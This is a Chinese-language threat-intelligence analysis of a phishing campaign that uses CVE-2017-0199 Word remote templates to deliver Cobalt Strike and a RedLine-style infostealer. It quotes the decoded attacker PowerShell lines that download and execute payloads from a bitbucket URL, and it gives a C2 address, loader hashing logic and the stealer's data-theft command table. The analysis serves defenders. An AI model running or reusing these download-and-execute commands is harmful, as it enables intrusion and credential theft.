概述

  最近发现一个恶意活动,该活动使用模块化攻击技术并投递CobaltStrike木马到受害者机器上。攻击者通过携带CVE-2017-0199漏洞的钓鱼邮件,当受害者打开钓鱼邮件时,它会下载托管再攻击者控制的恶意Word文档模板。

  在此次活动中发现了攻击者使用的两种攻击方法,一种时通过远程模板执行嵌入的VBS脚本,从而导致生成和执行其他混淆的VB和Powershell混淆脚本。另一种使用恶意宏代码下载和执行恶意powershell命令和下载恶意程序。

  两种攻击最终都投递CobaltStrike的泄露版本。Bean配置包含执行任意二进制文件和进程注入,并配置了高信誉,使用重定向技术来伪装Beaons的流量。在投递CobaltStrike的同时还投递了其他窃密软件。

2. 详细分析

1. PSA Plus招聘信息主题钓鱼

1.accounting.docx

  该文件包含CVE-2017-0199远程模板调用漏洞,当受害者打开文档时会从公共服务器下载远程模板然后执行恶意宏代码。由于远程模板中包含恶意宏代码,需要启动宏功能,因此在文档被打开时首先显示的是提示受害者启用宏功能来确保恶意宏顺利执行。

  文档伪装成新西兰著名工会新西兰惠灵顿公共服务协会办公室招聘信息的欺诈性文件。招聘的岗位主要为发展授权、PSA
Plus和对秘书处的行政支持。

  PSA New Zealand曾经在2022年4月份发布了真实的职位描述popup_icon,从文档元数据信息可以看出攻击者在2022年5月6号创建了包含远程恶意模板的基础文件,并在基础文件上创建包含不同主题的恶意文档。该文件最后修改时间为2022年8月3月,也就是攻击者开始谋划这次攻击行动的开始事件。

  该文档内容与PSA New Zealand发布的文件内容很相似,说明攻击者也是经常关注社会上的热点新闻,并以此为主题创建诱饵文档攻击特定人士。

1.流程图

2.Stage2 远程模板

  打开accounting.docx时从公共文件托管服务器bucket上下载恶意模板文件,下载的模板链接如下图:

  模板中包含的恶意宏如下图,解密后为执行powershell命令从服务器上下载恶意程序。

解密后的powershell指令如下, 功能为从bitbucket下载恶意程序并执行。

1
2
"powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden
-command (New-Object System.Net.WebClient).DownloadFile('hxxps://bitbucket.org/clouchfair/oneproject/downloads/licsoftware.exe','sfrrd234.exe');Start-Process 'sfrrd234.exe'"

3.Stage3 licsoftware.exe

  恶意程序为x64的可执行程序,由Stage通过powershell从公共服务器bitbucket下载并保存为文件名”sfrrd234.exe”,主要功能解密下一阶段的文件并执行。

1.获取模块加载地址

  恶意程序从PEB的相关结构中获取模块的加载地址,详细解析过程如下:

获取PEB地址

  寄存器GS指向的内存地址中偏移48为TEB结构体地址, 其中偏移0x60为PEB地址。

获取LDR结构

  获取peb中的字段Ldr地址,Ldr中保存着所有已加载的模块的相关信息。

获取链表InLoadOrderModuleList

  Ldr的字段InLoadOrderModuleList为双链表结构,链表指向的结构体为_LDR_MODULE,该结构体保存着模块名和模块加载地址等信息。
  恶意程序遍历该链表, 获取已加载模块并计算hash值然后与指向的hash进行比较,如果匹配则返回模块的加载地址。

2.解析API地址

  恶意程序通过解析对应文件的导出表来获取对应API的函数地址。获取函数地址时使用多个函数来获取PE结构中的不同部分。详细解析过程如下。

获取lpfanew:

  读取偏移0x3C处的偏移值用于定位PE结构的NT头部。

获取导入表地址

  偏移0x88为PE结构中导出表到NT头部的偏移,读取该值计算导出表的地址。

保存模块加载地址和导入表地址

  使用64位来保存相关数据,其中高32为保存导出表地址,低32位保存模块加载地址。

获取指定序号的API函数名

  字段AddressOfName所指向的数据字符串数组,在这里存放着程序要导出的所有函数名,通过序号来获取指定序号的API函数名。

获取指定序号的API函数地址

  这里逻辑比较简单,先使用序号从结构addressOfNameOrigin获取指定序号的RVA,然后再使用该RVA从addrOfFunction获取函数地址。

Hash计算

  得到函数名后,对函数名计算hash值。计算方法为读取函数名的每个字符,并对字符进行异或计算。

对字符异或代码如下:

使用伪代码描述如下:

1
2
3
4
5
6
7
8
9
Uint32_t gen_hash(char* name)
{
Uint32_t len=strlen(name);
Hash = 0x0x811C9DC5;
For(uint32_t i=0;i<len;i++)
{
Hash = 0x1000193*( Hash ^ name[i])
}
}

获取导出函数地址

  从序号0开始获取对应到处序号的函数名,然后使用该函数名计算hash值,并与硬编码的hash进行比较,如果不相等继续遍历和计算下一个函数名的hash值;如果相等,则通过序号来获取对应函数的函数地址。

2.调用解密后的恶意程序

  恶意程序解密完成和手动加载完后,计算其入口点地址并直接跳转到入口点执行恶意dll的代码。

4.Stage4 内存加载的dll

  该阶段的payload文件类型为x64版本的dll,由GoLang编译而成。和一般的恶意程序不一样,该样本通过BananaPhone框架来直接调用Windows内核API。
  BananaPhone利用”天堂之门”的相关技术使用系统调用来调用内核API,因此可以绕过一些安全防护软件在用户层对一些关键的系统API所作的hook。
  该文件的主要功能是创建posershell进行并执行powershell代码然后自删除。在powershell下载下一阶段的文件并调用rundll执行其导出函数。执行的powershell代码如下:

1
2
3
4
5
6
[net.servicepointmanager]::securityprotocol = 
[net.securityprotocoltype]::tls12
$path = $env:temp + "\\lRthax.png"
$client = new-object system.net.webclient
$client.downloadfile("https://bitbucket.org/clouchfair/oneproject/downloads/strymon.png", $path)
start-process -filepath "c:\\windows\\system32\\rundll32.exe" -argumentlist $path, default -windowstyle hidden

1.解密字符串

  不同加密字符串在恶意程序可能使用不同的解密算法,算法相同时使用的异或密钥也可能不一样。

  1. 第一种是加密数据存放在字节数组中,一次从字符数组取出数据然后对其异或解密。

2.第二种用slice类型存放解密后的数据,解密方法为边异或解密边往slice插入待解密的数据。

4.Stage5: strymon.png

  该阶段的样本为此次攻击活动中最终投递的payload,属于cobaltstrike后门,该样本使用的API函数解析和PE文件解密与Stage3类似。恶意程序被加载后在dllmain函数中执行解密操作, 在导出函数执行解密后的代码。

美国联邦政府承包商合作主题钓鱼

  查看文档元数据可以看出文件的创建事件为**2022-05-06T02:33:00Z,**与使用PSA Plus招聘主题钓鱼中使用的文档创建时间一模一样,可以猜测两次活动中使用的诱饵文档由同一个基础文件根据最新时事而创建,可以断定这两次攻击行动为同一组织所为。

文档打开后具体内容如下:

1.流程图

图示 描述已自动生成

1.Stage2 远程模板

  打开文档时从公共文件托管服务器bucket上下载恶意模板文件,下载的模板链接如下图:

  模板中包含的恶意宏如下图,解密后为混淆VBS脚本。调用函数GetObjct使用的参数解密后为”new:9ba05972-f6a8-11cf-a442-00a0c90a8f39”, clsid为”ShellWindows”对象,恶意宏代码使用该com对象来执行解密后的文件。

2.Stage3 混淆VBS脚本

  Stage2中恶意宏代码解密后为HTA文件,在标签Script中嵌入一段的混淆vbs代码,当该hta文件被打开时,vbs脚本解密出下一阶段需要执行的powershell代码。

3.Stage4 混淆powershell脚本

  使用AES+base64解密混淆数据,解密后为另一段混淆的powershell脚本。

4.Stage5混淆powershell脚本

  该阶段的powershell脚本与Stage4的脚本类似,函数使用混淆名称,关键字符串使用加密形式。

  字符串解密方法比较简单,将数组内的每一个整数减去52201的值转成字符并拼接为字符串。

  Powershell通过判断文件名扩展名来使用不同的方法来执行下载的palyload。

  对于dll文件可使用rundll32启动,指定要执行的dll导出函数为Default,msi文件使用以静默的方式启动。对于exe文件和其他脚本类型的文件则通过powershell命令Start-Process来启动。

  首先判断文件”newmodule.dll”是否存在路径%temp%中,如果存在则使用rundll32来启动dll文件,否则从文件下载链接中下载文件并保存到临时目录。

  通过powershell命令获取newmodeler.dll文件属性, 通过参数-bor 将属性值设置为隐藏。

5.Stage6 newmodeler.dll

  该恶意程序为混淆的x64 dll文件,混淆方式与主题1的Stage4样本的混淆方式一致,这里就不再过多分析其使用的混淆技术,分析代码中实现的功能为主。

1.反调试技术

  在程序运行中使用多种反调试技术来检测自身是否处于调试状态,如果检测到自身被调试,则退出程序不再进行后续操作。

  • 使用windows API检测相关调试相关的标志位

  • 设置TEB的字段LastErrorValue的值为0达到反调试目的

  • 使用NtDelayExecution 检测调试状态

2.检测沙箱相关文件

  通过GetModuleHandle来检测是否加载了一些与沙箱相关的模块。

6. Epicritic

1.字符串解密

  恶意程序内部大部分字符串都是加密字符串,加密方式为先将字符串base64编码后,编码后的字符依次与异或密钥的字符进行异或然后拼接成新的字符串,最后再次base64编码获得加密字符串。这个异或密钥为”Stripped”。

文本 描述已自动生成

3.配置信息

  恶意程序在类Arguments中硬编码了在窃取数据使用的类型和字符串解密时使用的密钥,其中Version指定窃取哪些数据,IP为远程&C&服务器IP,在这里为加密状态,解密后为”185.17.0.63:34397”。

2.执行环境检测

  恶意程序在启动时会检测受害者操作系统所使用的语言来判断是否窃取受害者的用户资料。由此可知攻击者只针对特定区域的用户进行数据窃取。

3.C&C通信

  恶意程序在最近的几个版本将通信协议HTTP协议改成Net.TCP协议的改变,使得安全研究员对C&C通信相关的数据包分析和调查变得更加困难。
  这可能导致安全研究人员耗费更多的时间去分析,也能够绕过基于网络数据包过滤的防火墙等系统。
  使用Net.TCP协议时C&C通信内容难以被理解,从而允许恶意程序在受害者在不知情的情况下进行恶意活动。

  Net.TCP协议基于MC-NMF(.Net消息) ,它尤其是一种高效传输 SOAP数据的机制,使其成为双向通信的理想且非常灵活的协议。 Redline 利用这种机制与其C2服务器进行通信。

  如下图所示,恶意程序将C&C服务地址与本地进行绑定。其中Entity为C&C服务暴露给外部的接口。

恶意程序创建一个服务契约Entity, 服务契约定义了远程访问对象和可供调用的方法。

其中每个方法的描述如下:

函数名 描述
Id1 发送上线包
Id2 获取数据泄露配置
Id3 收集用户名
Id5 未知
Id6 未知
Id7 收集机器已安装语言
Id8 收集机器已安装软件
Id9 收集机器当前运行进程
Id10 收集硬件信息
Id11 收集已安装软件
Id12 收集已安装FTP
Id13 发送已安装浏览器信息
Id14 未知
Id15 未知
Id16 未知
Id17 未知
Id18 发送NordVPN数据
Id19 发送泄露的ProtohVPN数据
Id20 发送Telegram数据
Id21 发送Discord token
Id22 泄露数据已成功发送
Id23 从C&C服务器接收任务
Id24 发送任务完成消息

另外还定义了Enity1~Entity17等多种数据契约,数据契约为服务端和客户端之间要传送的自定义数据类型。

每个数据契约对象的描述如下表

对象名 描述 结构
Entity1 保存所有泄露数据
Entity2 设置
Entity3 保存系统信息
Entity4 安装的浏览器 Id1: 未知 Id2: 浏览器名 Id3: 浏览器版本
Entity5 Discord token数据
Entity6 updateTask
Entity7 系统信息
Entity8 浏览器信息 Id1:浏览器名 Id2: 浏览器版本号
Entity9 保存浏览器配置文件
Entity10
Entity11 浏览器中保存的信用卡信息
Entity12 浏览器保存的登录数据
Entity13 枚举值,保存响应结果
Entity14 枚举值
Entity15 接收到task执行的行为 Id1: 下载文件 Id3: 下载文件并执行 Id4: 启动进程 Id5: 命令行启动进程
Entity16 搜索文件时的配置 ID1: 文件名 ID2: 搜索模式字符 ID5: 搜索ID ID3: 文件搜索选项
Entity17 恶意程序配置信息

其中部分收集信息的代码如下:

  • 获取处理器信息

    使用查询查询语言”select * from Win32_Procsessor”来查询处理器信息,
    Net.TCP协议中绑定的接口来保存数据,其中Id1存放处理器名,Id2存放处理器的核心数。

  • 获取显卡数据

    使用WMI查询语言”select * from Win_VideoController”查询显卡信息,
    获取每个显卡的显存大小。

4.数据泄露

  恶意程序通过服务契约类Id2获取数据泄露配置,配置数据使用数据契约类Entity2来保存泄露的数据。当收到配置数据时,恶意程序根据配置文件来选择性的泄露不同类型的数据。

类型 描述
Id1 收集浏览器cookie
Id2 收集openvpn和protohVPN数据
Id3 FileZilla登录地址、账号和密码
Id4 收集 区块链钱包登录数据
Id5 屏幕截图
Id6 收集Telegram数据
Id7 发送泄露的VPN数据
Id8 搜索stream游戏配置
Id9 收集Discord token

5.下发任务

  恶意程序使用数据契约类Entity6来保存从C&C服务器下发的任务,执行的任务主要有执行进程、下载文件和更新自身。Entity6结构如下,所有成员都被声明为DataContract,表示恶意程序与C&C服务器通信时会将这些数据序列化后再传输。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Entity6
{
//任务ID
[DataMember(Name = "Id1")]
public int Id1 { get; set; }
//任务参数
[DataMember(Name = "Id2")]
public string Id2 { get; set; }
//任务执行的动作
[DataMember(Name = "Id3")]
public Entity15 Id3 { get; set; }
//下载连接
[DataMember(Name = "Id4")]
public string Id4 { get; set; }
}

  首先从受害者机器上收集系统信息,然后通过服务契约接口方法Id23上传并等待C&C服务器返回任务列表。

根据字段Id的不同执行不同的行为, 具体如下:

Id3 执行动作的类 参数(Id2) 描述
Entity15.Id5 CommandLineUpdate 文件名 命令行启动进程
Entity15.Id1 DownloadUpdate {路径}|{下载连接} 下载文件到指定路径
Entity15.Id3 DownloadAndExecuteUpdate {下载连接}|{路径} 下载文件并执行
Entity15.Id4 OpenUpdate 文件名 使用Process对象启动进程

ATT&CK矩阵

Tactic ID Name Description
initial Access T1566.001 Spearphishing 钓鱼邮件
Execution T1059.001 PowerShell 执行powershell命令
T1059.003 Windows Command Shell 执行cmd命令
T1204.002 Malicious File 执行恶意文件
T1047 Windows Management Instrumentation 执行wmi查询
Defense Evasion T1480 Execution Guardrails
T1083 File and Directory Discovery 查找文件和目录
T1132.002 Non-Standard Encoding 数据编码方式为Base32
Exfiltration Exfiltration Over C2 Channel 通过与C&C通信泄露数据
2024-03-21

⬆︎TOP